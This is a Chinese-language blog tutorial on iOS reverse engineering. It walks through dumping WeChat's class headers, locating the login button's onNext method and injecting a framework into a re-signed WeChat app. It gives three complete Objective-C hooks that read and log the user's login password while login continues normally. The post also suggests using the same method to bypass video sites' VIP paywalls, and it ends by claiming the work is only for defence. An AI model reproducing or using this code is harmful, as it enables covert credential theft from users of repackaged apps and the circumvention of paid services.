前言
本篇文章基于前两篇基础之上的 . 还没了解的同学欢迎阅读 :
这两篇文章中花了很多篇幅来讲解 签名
、重签
、代码注入
等等 . 那么重签了 wx
的应用包 , 我们到底能不能拿来调试 , 能不能看到源代码 , 或者说 , 我们重签名了到底有什么用呢 ?
本篇文章我们一起来探索一下 .
"wx" 应用 '源代码' 提取
准备工具
class-dump 提取码 : kjjs
class-dump
这个工具可以将 Mach-O
中的类的描述 copy
出来 . 可以理解成把头文件提取出来 , ( 但也不仅仅是头文件 ) .
提取
打开我们下载的越狱微信 ipa
. 转 zip
解压 , Payload
- WeChat
显示包内容 , 找到 WeChat
的 Mach-O
源文件 . 复制出来到 class-dump
同路径下 .
cd
到这个目录下 , 执行 :
./class-dump -H WeChat -o ./headers/
执行完毕 :
其实其原理就是 根据 Mcah-O
中类的描述 , 属性 , 方法 . 进行整理 , 然后生成 , 写入 .
我们看到了一万多个头文件 . 这里推荐一个方便查看与搜索的工具 .
直接把 headers
文件夹拖入 Sublime
.
你就可以随意浏览了 . 后期会再考虑是否摄入汇编代码部分 .
代码修改 ( 破坏 / 窃取 ... )
需求 1 : 破坏注册功能
这个需求比较简单 , 实现思路就是代码注入的方式 , Hook
注册按钮的方法 . 修改为自己的方法即可 , 就不演示了 .
我们来演示个有点意思的.
需求 2 : 获取用户登录密码 但保持其登录功能
我们来一步步玩一下 .
1 重签名工程
准备好重签成功的工程 , 没有做代码注入的 , 就写一个 framework
, 然后 shell
脚本里 yololib
做一下. cmd + r
, run
起来.
记得检查一下 代码有没有注入成功.
2 找到登录按钮方法
-
来到如下页面 .
-
View Debug
左边选择窗口 , 选中登录按钮 , 注意不要选中 上面覆盖的 imageview
了 , 绿的那个. 右边看 Target
和 Action
.
注意 :
笔者这里是 Xcode 11 , 因此
Target
和Action
都是地址 , 老版本的Xcode
都是直接显示类名和方法名的 , 那么怎么办呢 .lldb
.
3 Sublime 找到方法
-
来到
Sublime
我们打开好的源码中 ,cmd
+shift
+F
. -
搜索结果 , 白色框直接双击来到这个文件 , 找到方法 (
onNext
). -
找到这个方法 , 我有点懵逼 o((⊙﹏⊙))o , 为什么呢 ? 这个方法没有参数 , 也就是说它并没有把用户密码当成参数传递 , 当然我们看属性也没有把密码当成一个属性 . 那咋办嘛 ?
4 找到密码输入框的控件
因为我们要
Hook
的是onNext
方法 , 那么在onNext
方法中 , 我们只有self
这个隐式参数可用 . 因此我们去找成员变量和属性 . 如果找不到 , 也可以用subView
的方式 , 最恐怖的时候 我们甚至要通过控制链去找 .
当然这里不用那么麻烦 , 优秀的 wx
工程师的命名规范为我们很快找到一个 这个东西.
他显然不是一个 textField
, 但是看起来和输入框有点关系 . 那我们去看看这个类 .
5 搜索 WCAccountTextFieldItem
cmd
+ shift
+ F
搜 @interface WCAccountTextFieldItem
textField
, 不着急 , 沿着继承链 , 找父类 WCBaseTextFieldItem
.
6 搜索 WCBaseTextFieldItem
cmd
+ shift
+ F
搜 @interface WCBaseTextFieldItem
是不是看到了这个 tf
.
那么我们来回顾一下 .
在 onNext
方法中 我们通过 self._textFieldUserPwdItem.m_textField
就可以拿到输入框 , 然后再 .text
, 不就拿到用户密码了吗 ?
想通了那就开始干 ?
NO !
注意 : 在逆向调试的过程中 , 想通了不一定代表走的通 , 那这时候如果去撸代码 , 很可能会白干.
那么怎么办呢 ? lldb
动态调试一下.
7 动态调试
View Debug
, 找到vc
, 拿到地址 .- 通过
valueForKey
, 找到_textFieldUserPwdItem
, 拿到WCUITextField
, 拿到其text
验证通过 , 开干
8 代码注入
打开我们自己注入的 framework
, 来到 load
方法开始 hook
, 具体代码逻辑我就不详细介绍了 .
大概总结一下 :
将登陆按钮的方法换成我们的方法 , 在我们拿到密码后在调用微信原本的方法继续执行 .
代码我也贴一下 .
注意:
这里如果使用 method_exchangeImplementations
有个需要注意的点 , 平时我们大多是在分类中做 hook
, 那么 hook
之后 , 原先的类再访问我们自己在分类中定义的方法是没有问题的 , 因为分类本身就是扩展 在原本类的方法列表就会有这个你自己定义的方法.
但是 , 在此时我们自己注入的 framework
就不行了 , 因为我们把 onNext
方法的 imp
换成自己的方法 , 微信调用 onNext
来到我们的方法实现 , 是没问题的 . 但当我们拿到了密码想让其访问原方法 , 这个时候调用的是给 VC
发 my_onNext
的消息 , 那肯定是找不到的 , 而如果是我们正向开发使用分类就没这个问题了 , 这也是我们为什么经常使用分类来做 hook
的主要原因 , 面试再碰到不要再回答 什么污染 什么效率了...
解决办法也很简单 , 这里我都给大家敲了一遍 贴出来了
-
- 给原本类添加一个方法 .
class_addMethod
( 比较麻烦 )
- 给原本类添加一个方法 .
#import "InjectCode.h"
#import <objc/runtime.h>
#import <UIKit/UIKit.h>
@implementation InjectCode
+ (void)load{
NSLog(@"代码注入成功!");
//原始微信的登录方法
Method onNext = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));
//添加新方法
/**
* 1、给哪个类添加方法
* 2、方法编号
* 3、方法实现(地址)
*/
BOOL didAddMethod = class_addMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(new_onNext), new_onNext, "v@:");
//交换
method_exchangeImplementations(onNext, class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(new_onNext)));
}
//方法实现IMP
void new_onNext(id self,SEL _cmd){
//拿出用户的密码
UITextField * pwd = [[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"];
NSLog(@"窃取到用户的密码是%@",pwd.text);
//登录
[self performSelector:@selector(new_onNext)];
}
@end
-
- 使用替换
#import <objc/runtime.h>
#import <UIKit/UIKit.h>
@implementation InjectCode
+ (void)load{
NSLog(@"代码注入成功!");
//使用替换
old_onNext = method_getImplementation(class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext)));
class_replaceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext), new_onNext, "v@:");
}
// imp 指针 --》 8字节。
IMP (*old_onNext)(id self,SEL _cmd);
//方法实现IMP
void new_onNext(id self,SEL _cmd){
//拿出用户的密码
UITextField * pwd = [[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"];
NSLog(@"窃取到用户的密码是%@",pwd.text);
//登录
old_onNext(self,_cmd);
}
-
- 使用
getImp
/setImp
( 最简单 )
- 使用
#import "InjectCode.h"
#import <objc/runtime.h>
#import <UIKit/UIKit.h>
@implementation InjectCode
+ (void)load{
NSLog(@"代码注入成功!");
//getIMP 和 setIMP
old_onNext = method_getImplementation(class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext)));
method_setImplementation(class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext)), new_onNext);
}
// imp 指针 --》 8字节。
IMP (*old_onNext)(id self,SEL _cmd);
//方法实现IMP
void new_onNext(id self,SEL _cmd){
//拿出用户的密码
UITextField * pwd = [[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"];
NSLog(@"窃取到用户的密码是%@",pwd.text);
//登录
old_onNext(self,_cmd);
}
其实 二和三的原理就是仅仅把 微信原方法 onNext
的 imp
保存一下 , 然后换成我们自己的 , 在调用我们自己的方法之后再直接调用一下保存的 imp
. 是不是超级简单呢 ?
为什么要讲这么多种方法呢 . 一是方便大家理解 , 另外后面我们会介绍一个专门来做 Hook
的工具 , 这个工具大部分都是直接使用的 getIMP
和 setIMP
. 大家敬请期待吧 😆.
运行
- 控制台拿到密码.
- 页面上正常调用微信登录
这里简单模拟了一个需求 , 来实现了一下 , 主要是将这种方式介绍给大家 , 能实现什么 , 大家可以自己去玩一玩 , 例如可否绕过某些视频网站开通 vip
呢 ? 或者其他想法 .
当然 , 还是那句话 : 玩逆向 只是为了防护 .